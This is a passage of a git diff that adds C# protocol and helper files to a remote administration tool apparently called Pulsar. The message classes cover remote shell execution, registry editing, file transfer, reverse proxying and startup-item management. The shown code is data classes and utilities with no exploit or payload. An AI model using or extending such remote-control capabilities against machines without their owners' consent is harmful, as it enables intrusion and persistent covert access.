Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion")) + { + if (key != null) + { + var productName = key.GetValue("ProductName")?.ToString(); + var currentBuild = key.GetValue("CurrentBuild")?.ToString(); + var displayVersion = key.GetValue("DisplayVersion")?.ToString(); + var ubr = key.GetValue("UBR")?.ToString(); // Update Build Revision + + if (!string.IsNullOrEmpty(productName)) + { + // Fix Windows 11 detection - registry might still report "Windows 10" in some cases + if (productName.Contains("Windows 10")) + { + // Check if this is actually Windows 11 + if (int.TryParse(currentBuild, out int buildNumber) && buildNumber >= 22000) + { + return "Windows 11" + (string.IsNullOrEmpty(displayVersion) ? "" : " " + displayVersion); + } + } + + // Handle Windows 11 that's properly reported in registry + if (productName.Contains("Windows 11")) + { + return productName; + } + + return productName; + } + } + } + + // Fallback to Environment.OSVersion with proper Windows 11 detection + var version = Environment.OSVersion; + if (version.Platform == PlatformID.Win32NT) + { + // Windows 11 has build number 22000 or higher + if (version.Version.Major == 10 && version.Version.Minor == 0) + { + return version.Version.Build >= 22000 ? "Windows 11" : "Windows 10"; + } + else if (version.Version.Major == 6) + { + if (version.Version.Minor == 3) return "Windows 8.1"; + if (version.Version.Minor == 2) return "Windows 8"; + if (version.Version.Minor == 1) return "Windows 7"; + if (version.Version.Minor == 0) return "Windows Vista"; + } + else if (version.Version.Major == 5) + { + if (version.Version.Minor == 2) return "Windows XP Professional x64 Edition"; + if (version.Version.Minor == 1) return "Windows XP"; + if (version.Version.Minor == 0) return "Windows 2000"; + } + } + } + catch + { + // Ignore errors + } + + return "Unknown OS"; + } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Helpers/StringHelper.cs b/Pulsar.Common/Helpers/StringHelper.cs new file mode 100644 index 0000000..d8ecc2f --- /dev/null +++ b/Pulsar.Common/Helpers/StringHelper.cs @@ -0,0 +1,80 @@ +using Pulsar.Common.Utilities; +using System.Text; +using System.Text.RegularExpressions; + +namespace Pulsar.Common.Helpers +{ + public static class StringHelper + { + /// + /// Available alphabet for generation of random strings. + /// + private const string Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + + /// + /// Abbreviations of file sizes. + /// + private static readonly string[] Sizes = { "B", "KB", "MB", "GB", "TB", "PB" }; + + /// + /// Random number generator. + /// + private static readonly SafeRandom Random = new SafeRandom(); + + /// + /// Gets a random string with given length. + /// + /// The length of the random string. + /// A random string. + public static string GetRandomString(int length) + { + StringBuilder randomName = new StringBuilder(length); + for (int i = 0; i < length; i++) + randomName.Append(Alphabet[Random.Next(Alphabet.Length)]); + + return randomName.ToString(); + } + + /// + /// Gets the human readable file size for a given size. + /// + /// The file size in bytes. + /// The human readable file size. + public static string GetHumanReadableFileSize(long size) + { + double len = size; + int order = 0; + while (len >= 1024 && order + 1 < Sizes.Length) + { + order++; + len = len / 1024; + } + return $"{len:0.##} {Sizes[order]}"; + } + + /// + /// Gets the formatted MAC address. + /// + /// The unformatted MAC address. + /// The formatted MAC address. + public static string GetFormattedMacAddress(string macAddress) + { + return (macAddress.Length != 12) + ? "00:00:00:00:00:00" + : Regex.Replace(macAddress, "(.{2})(.{2})(.{2})(.{2})(.{2})(.{2})", "$1:$2:$3:$4:$5:$6"); + } + + /// + /// Safely removes the last N chars from a string. + /// + /// The input string. + /// The amount of last chars to remove (=N). + /// The input string with N removed chars. + public static string RemoveLastChars(string input, int amount = 2) + { + if (input.Length > amount) + input = input.Remove(input.Length - amount); + return input; + } + } +} diff --git a/Pulsar.Common/IO/FileSplit.cs b/Pulsar.Common/IO/FileSplit.cs new file mode 100644 index 0000000..be0334a --- /dev/null +++ b/Pulsar.Common/IO/FileSplit.cs @@ -0,0 +1,124 @@ +using Pulsar.Common.Models; +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; + +namespace Pulsar.Common.IO +{ + public class FileSplit : IEnumerable, IDisposable + { + /// + /// The maximum size per file chunk. + /// + public readonly int MaxChunkSize = 65535; + + /// + /// The file path of the opened file. + /// + public string FilePath => _fileStream.Name; + + /// + /// The file size of the opened file. + /// + public long FileSize => _fileStream.Length; + + /// + /// The file stream of the opened file. + /// + private readonly FileStream _fileStream; + + /// + /// Initializes a new instance of the class using the given file path and access mode. + /// + /// The path to the file to open. + /// The file access mode for opening the file. Allowed are and . + public FileSplit(string filePath, FileAccess fileAccess) + { + switch (fileAccess) + { + case FileAccess.Read: + _fileStream = File.OpenRead(filePath); + break; + case FileAccess.Write: + _fileStream = File.OpenWrite(filePath); + break; + default: + throw new ArgumentException($"{nameof(fileAccess)} must be either Read or Write."); + } + } + + /// + /// Writes a chunk to the file. In other words. + /// + /// + public void WriteChunk(FileChunk chunk) + { + _fileStream.Seek(chunk.Offset, SeekOrigin.Begin); + _fileStream.Write(chunk.Data, 0, chunk.Data.Length); + } + + /// + /// Reads a chunk of the file. + /// + /// Offset of the file, must be a multiple of for proper reconstruction. + /// The read file chunk at the given offset. + /// + /// The returned file chunk can be smaller than iff the + /// remaining file size from the offset is smaller than , + /// then the remaining file size is used. + /// + public FileChunk ReadChunk(long offset) + { + _fileStream.Seek(offset, SeekOrigin.Begin); + + long chunkSize = _fileStream.Length - _fileStream.Position < MaxChunkSize + ? _fileStream.Length - _fileStream.Position + : MaxChunkSize; + + var chunkData = new byte[chunkSize]; + _fileStream.Read(chunkData, 0, chunkData.Length); + + return new FileChunk + { + Data = chunkData, + Offset = _fileStream.Position - chunkData.Length + }; + } + + /// + /// Returns an enumerator that iterates through the file chunks. + /// + /// An object that can be used to iterate through the file chunks. + public IEnumerator GetEnumerator() + { + for (long currentChunk = 0; currentChunk <= _fileStream.Length / MaxChunkSize; currentChunk++) + { + yield return ReadChunk(currentChunk * MaxChunkSize); + } + } + + /// + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _fileStream.Dispose(); + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this class. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + } +} diff --git a/Pulsar.Common/Messages/.DS_Store b/Pulsar.Common/Messages/.DS_Store new file mode 100644 index 0000000..0133d6e Binary files /dev/null and b/Pulsar.Common/Messages/.DS_Store differ diff --git a/Pulsar.Common/Messages/Administration/Actions/DoShutdownAction.cs b/Pulsar.Common/Messages/Administration/Actions/DoShutdownAction.cs new file mode 100644 index 0000000..092dcfd --- /dev/null +++ b/Pulsar.Common/Messages/Administration/Actions/DoShutdownAction.cs @@ -0,0 +1,13 @@ +using MessagePack; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.Actions +{ + [MessagePackObject] + public class DoShutdownAction : IMessage + { + [Key(1)] + public ShutdownAction Action { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/DoPathDelete.cs b/Pulsar.Common/Messages/Administration/FileManager/DoPathDelete.cs new file mode 100644 index 0000000..782eaf1 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/DoPathDelete.cs @@ -0,0 +1,16 @@ +using MessagePack; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.FileManager +{ + [MessagePackObject] + public class DoPathDelete : IMessage + { + [Key(1)] + public string Path { get; set; } + + [Key(2)] + public FileType PathType { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/DoPathRename.cs b/Pulsar.Common/Messages/Administration/FileManager/DoPathRename.cs new file mode 100644 index 0000000..944c477 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/DoPathRename.cs @@ -0,0 +1,19 @@ +using MessagePack; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.FileManager +{ + [MessagePackObject] + public class DoPathRename : IMessage + { + [Key(1)] + public string Path { get; set; } + + [Key(2)] + public string NewPath { get; set; } + + [Key(3)] + public FileType PathType { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/DoZipFolder.cs b/Pulsar.Common/Messages/Administration/FileManager/DoZipFolder.cs new file mode 100644 index 0000000..5339c79 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/DoZipFolder.cs @@ -0,0 +1,18 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.FileManager +{ + [MessagePackObject] + public class DoZipFolder : IMessage + { + [Key(1)] + public string SourcePath { get; set; } + + [Key(2)] + public string DestinationPath { get; set; } + + [Key(3)] + public int CompressionLevel { get; set; } = (int)System.IO.Compression.CompressionLevel.Optimal; + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/FileTransferCancel.cs b/Pulsar.Common/Messages/Administration/FileManager/FileTransferCancel.cs new file mode 100644 index 0000000..32e2c22 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/FileTransferCancel.cs @@ -0,0 +1,15 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.FileManager +{ + [MessagePackObject] + public class FileTransferCancel : IMessage + { + [Key(1)] + public int Id { get; set; } + + [Key(2)] + public string Reason { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/FileTransferChunk.cs b/Pulsar.Common/Messages/Administration/FileManager/FileTransferChunk.cs new file mode 100644 index 0000000..f67ab39 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/FileTransferChunk.cs @@ -0,0 +1,25 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages.Administration.FileManager +{ + [MessagePackObject] + public class FileTransferChunk : IMessage + { + [Key(1)] + public int Id { get; set; } + + [Key(2)] + public string FilePath { get; set; } + + [Key(3)] + public long FileSize { get; set; } + + [Key(4)] + public FileChunk Chunk { get; set; } + + [Key(5)] + public string FileExtension { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/FileTransferComplete.cs b/Pulsar.Common/Messages/Administration/FileManager/FileTransferComplete.cs new file mode 100644 index 0000000..88a325f --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/FileTransferComplete.cs @@ -0,0 +1,15 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.FileManager +{ + [MessagePackObject] + public class FileTransferComplete : IMessage + { + [Key(1)] + public int Id { get; set; } + + [Key(2)] + public string FilePath { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/FileTransferRequest.cs b/Pulsar.Common/Messages/Administration/FileManager/FileTransferRequest.cs new file mode 100644 index 0000000..2a4bd7f --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/FileTransferRequest.cs @@ -0,0 +1,15 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class FileTransferRequest : IMessage + { + [Key(1)] + public int Id { get; set; } + + [Key(2)] + public string RemotePath { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/GetDirectory.cs b/Pulsar.Common/Messages/Administration/FileManager/GetDirectory.cs new file mode 100644 index 0000000..da2ca0f --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/GetDirectory.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.FileManager +{ + [MessagePackObject] + public class GetDirectory : IMessage + { + [Key(1)] + public string RemotePath { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/GetDirectoryResponse.cs b/Pulsar.Common/Messages/Administration/FileManager/GetDirectoryResponse.cs new file mode 100644 index 0000000..47cf07b --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/GetDirectoryResponse.cs @@ -0,0 +1,16 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages.Administration.FileManager +{ + [MessagePackObject] + public class GetDirectoryResponse : IMessage + { + [Key(1)] + public string RemotePath { get; set; } + + [Key(2)] + public FileSystemEntry[] Items { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/GetDrives.cs b/Pulsar.Common/Messages/Administration/FileManager/GetDrives.cs new file mode 100644 index 0000000..df69042 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/GetDrives.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.FileManager +{ + [MessagePackObject] + public class GetDrives : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/GetDrivesResponse.cs b/Pulsar.Common/Messages/Administration/FileManager/GetDrivesResponse.cs new file mode 100644 index 0000000..89b16c1 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/GetDrivesResponse.cs @@ -0,0 +1,13 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages.Administration.FileManager +{ + [MessagePackObject] + public class GetDrivesResponse : IMessage + { + [Key(1)] + public Drive[] Drives { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/FileManager/SetStatusFileManager.cs b/Pulsar.Common/Messages/Administration/FileManager/SetStatusFileManager.cs new file mode 100644 index 0000000..95ba7fa --- /dev/null +++ b/Pulsar.Common/Messages/Administration/FileManager/SetStatusFileManager.cs @@ -0,0 +1,15 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.FileManager +{ + [MessagePackObject] + public class SetStatusFileManager : IMessage + { + [Key(1)] + public string Message { get; set; } + + [Key(2)] + public bool SetLastDirectorySeen { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/DoChangeRegistryValue.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/DoChangeRegistryValue.cs new file mode 100644 index 0000000..009f1aa --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/DoChangeRegistryValue.cs @@ -0,0 +1,16 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages.Administration.RegistryEditor +{ + [MessagePackObject] + public class DoChangeRegistryValue : IMessage + { + [Key(1)] + public string KeyPath { get; set; } + + [Key(2)] + public RegValueData Value { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/DoCreateRegistryKey.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/DoCreateRegistryKey.cs new file mode 100644 index 0000000..3c81338 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/DoCreateRegistryKey.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.RegistryEditor +{ + [MessagePackObject] + public class DoCreateRegistryKey : IMessage + { + [Key(1)] + public string ParentPath { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/DoCreateRegistryValue.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/DoCreateRegistryValue.cs new file mode 100644 index 0000000..96bbfa5 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/DoCreateRegistryValue.cs @@ -0,0 +1,16 @@ +using Microsoft.Win32; +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class DoCreateRegistryValue : IMessage + { + [Key(1)] + public string KeyPath { get; set; } + + [Key(2)] + public RegistryValueKind Kind { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/DoDeleteRegistryKey.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/DoDeleteRegistryKey.cs new file mode 100644 index 0000000..e7bd485 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/DoDeleteRegistryKey.cs @@ -0,0 +1,15 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.RegistryEditor +{ + [MessagePackObject] + public class DoDeleteRegistryKey : IMessage + { + [Key(1)] + public string ParentPath { get; set; } + + [Key(2)] + public string KeyName { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/DoDeleteRegistryValue.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/DoDeleteRegistryValue.cs new file mode 100644 index 0000000..ad88125 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/DoDeleteRegistryValue.cs @@ -0,0 +1,15 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class DoDeleteRegistryValue : IMessage + { + [Key(1)] + public string KeyPath { get; set; } + + [Key(2)] + public string ValueName { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/DoLoadRegistryKey.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/DoLoadRegistryKey.cs new file mode 100644 index 0000000..54f62d7 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/DoLoadRegistryKey.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.RegistryEditor +{ + [MessagePackObject] + public class DoLoadRegistryKey : IMessage + { + [Key(1)] + public string RootKeyName { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/DoRenameRegistryKey.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/DoRenameRegistryKey.cs new file mode 100644 index 0000000..19dd9ce --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/DoRenameRegistryKey.cs @@ -0,0 +1,18 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class DoRenameRegistryKey : IMessage + { + [Key(1)] + public string ParentPath { get; set; } + + [Key(2)] + public string OldKeyName { get; set; } + + [Key(3)] + public string NewKeyName { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/DoRenameRegistryValue.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/DoRenameRegistryValue.cs new file mode 100644 index 0000000..d5b7ed8 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/DoRenameRegistryValue.cs @@ -0,0 +1,18 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.RegistryEditor +{ + [MessagePackObject] + public class DoRenameRegistryValue : IMessage + { + [Key(1)] + public string KeyPath { get; set; } + + [Key(2)] + public string OldValueName { get; set; } + + [Key(3)] + public string NewValueName { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/GetChangeRegistryValueResponse.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/GetChangeRegistryValueResponse.cs new file mode 100644 index 0000000..71f16c8 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/GetChangeRegistryValueResponse.cs @@ -0,0 +1,22 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class GetChangeRegistryValueResponse : IMessage + { + [Key(1)] + public string KeyPath { get; set; } + + [Key(2)] + public RegValueData Value { get; set; } + + [Key(3)] + public bool IsError { get; set; } + + [Key(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/GetCreateRegistryKeyResponse.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/GetCreateRegistryKeyResponse.cs new file mode 100644 index 0000000..21937fb --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/GetCreateRegistryKeyResponse.cs @@ -0,0 +1,22 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages.Administration.RegistryEditor +{ + [MessagePackObject] + public class GetCreateRegistryKeyResponse : IMessage + { + [Key(1)] + public string ParentPath { get; set; } + + [Key(2)] + public RegSeekerMatch Match { get; set; } + + [Key(3)] + public bool IsError { get; set; } + + [Key(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/GetCreateRegistryValueResponse.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/GetCreateRegistryValueResponse.cs new file mode 100644 index 0000000..c191d8f --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/GetCreateRegistryValueResponse.cs @@ -0,0 +1,22 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages.Administration.RegistryEditor +{ + [MessagePackObject] + public class GetCreateRegistryValueResponse : IMessage + { + [Key(1)] + public string KeyPath { get; set; } + + [Key(2)] + public RegValueData Value { get; set; } + + [Key(3)] + public bool IsError { get; set; } + + [Key(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/GetDeleteRegistryKeyResponse.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/GetDeleteRegistryKeyResponse.cs new file mode 100644 index 0000000..4a8ab17 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/GetDeleteRegistryKeyResponse.cs @@ -0,0 +1,21 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.RegistryEditor +{ + [MessagePackObject] + public class GetDeleteRegistryKeyResponse : IMessage + { + [Key(1)] + public string ParentPath { get; set; } + + [Key(2)] + public string KeyName { get; set; } + + [Key(3)] + public bool IsError { get; set; } + + [Key(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/GetDeleteRegistryValueResponse.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/GetDeleteRegistryValueResponse.cs new file mode 100644 index 0000000..d19e6ab --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/GetDeleteRegistryValueResponse.cs @@ -0,0 +1,21 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class GetDeleteRegistryValueResponse : IMessage + { + [Key(1)] + public string KeyPath { get; set; } + + [Key(2)] + public string ValueName { get; set; } + + [Key(3)] + public bool IsError { get; set; } + + [Key(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/GetRegistryKeysResponse.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/GetRegistryKeysResponse.cs new file mode 100644 index 0000000..e8c5f13 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/GetRegistryKeysResponse.cs @@ -0,0 +1,22 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class GetRegistryKeysResponse : IMessage + { + [Key(1)] + public RegSeekerMatch[] Matches { get; set; } + + [Key(2)] + public string RootKey { get; set; } + + [Key(3)] + public bool IsError { get; set; } + + [Key(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/GetRenameRegistryKeyResponse.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/GetRenameRegistryKeyResponse.cs new file mode 100644 index 0000000..b22ff07 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/GetRenameRegistryKeyResponse.cs @@ -0,0 +1,24 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.RegistryEditor +{ + [MessagePackObject] + public class GetRenameRegistryKeyResponse : IMessage + { + [Key(1)] + public string ParentPath { get; set; } + + [Key(2)] + public string OldKeyName { get; set; } + + [Key(3)] + public string NewKeyName { get; set; } + + [Key(4)] + public bool IsError { get; set; } + + [Key(5)] + public string ErrorMsg { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/GetRenameRegistryValueResponse.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/GetRenameRegistryValueResponse.cs new file mode 100644 index 0000000..6833250 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/GetRenameRegistryValueResponse.cs @@ -0,0 +1,24 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.RegistryEditor +{ + [MessagePackObject] + public class GetRenameRegistryValueResponse : IMessage + { + [Key(1)] + public string KeyPath { get; set; } + + [Key(2)] + public string OldValueName { get; set; } + + [Key(3)] + public string NewValueName { get; set; } + + [Key(4)] + public bool IsError { get; set; } + + [Key(5)] + public string ErrorMsg { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RemoteShell/DoShellExecute.cs b/Pulsar.Common/Messages/Administration/RemoteShell/DoShellExecute.cs new file mode 100644 index 0000000..295055a --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RemoteShell/DoShellExecute.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.RemoteShell +{ + [MessagePackObject] + public class DoShellExecute : IMessage + { + [Key(1)] + public string Command { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RemoteShell/DoShellExecuteResponse.cs b/Pulsar.Common/Messages/Administration/RemoteShell/DoShellExecuteResponse.cs new file mode 100644 index 0000000..c28f7b7 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RemoteShell/DoShellExecuteResponse.cs @@ -0,0 +1,15 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.RemoteShell +{ + [MessagePackObject] + public class DoShellExecuteResponse : IMessage + { + [Key(1)] + public string Output { get; set; } + + [Key(2)] + public bool IsError { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyConnect.cs b/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyConnect.cs new file mode 100644 index 0000000..51629f4 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyConnect.cs @@ -0,0 +1,18 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.ReverseProxy +{ + [MessagePackObject] + public class ReverseProxyConnect : IMessage + { + [Key(1)] + public int ConnectionId { get; set; } + + [Key(2)] + public string Target { get; set; } + + [Key(3)] + public int Port { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyConnectResponse.cs b/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyConnectResponse.cs new file mode 100644 index 0000000..84d76e2 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyConnectResponse.cs @@ -0,0 +1,24 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.ReverseProxy +{ + [MessagePackObject] + public class ReverseProxyConnectResponse : IMessage + { + [Key(1)] + public int ConnectionId { get; set; } + + [Key(2)] + public bool IsConnected { get; set; } + + [Key(3)] + public byte[] LocalAddress { get; set; } + + [Key(4)] + public int LocalPort { get; set; } + + [Key(5)] + public string HostName { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyData.cs b/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyData.cs new file mode 100644 index 0000000..ec1a7ff --- /dev/null +++ b/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyData.cs @@ -0,0 +1,15 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.ReverseProxy +{ + [MessagePackObject] + public class ReverseProxyData : IMessage + { + [Key(1)] + public int ConnectionId { get; set; } + + [Key(2)] + public byte[] Data { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyDisconnect.cs b/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyDisconnect.cs new file mode 100644 index 0000000..a6ab393 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyDisconnect.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.ReverseProxy +{ + [MessagePackObject] + public class ReverseProxyDisconnect : IMessage + { + [Key(1)] + public int ConnectionId { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/StartupManager/DoStartupItemAdd.cs b/Pulsar.Common/Messages/Administration/StartupManager/DoStartupItemAdd.cs new file mode 100644 index 0000000..bc15203 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/StartupManager/DoStartupItemAdd.cs @@ -0,0 +1,13 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class DoStartupItemAdd : IMessage + { + [Key(1)] + public StartupItem StartupItem { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/StartupManager/DoStartupItemRemove.cs b/Pulsar.Common/Messages/Administration/StartupManager/DoStartupItemRemove.cs new file mode 100644 index 0000000..8e814af --- /dev/null +++ b/Pulsar.Common/Messages/Administration/StartupManager/DoStartupItemRemove.cs @@ -0,0 +1,13 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class DoStartupItemRemove : IMessage + { + [Key(1)] + public StartupItem StartupItem { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/StartupManager/GetStartupItems.cs 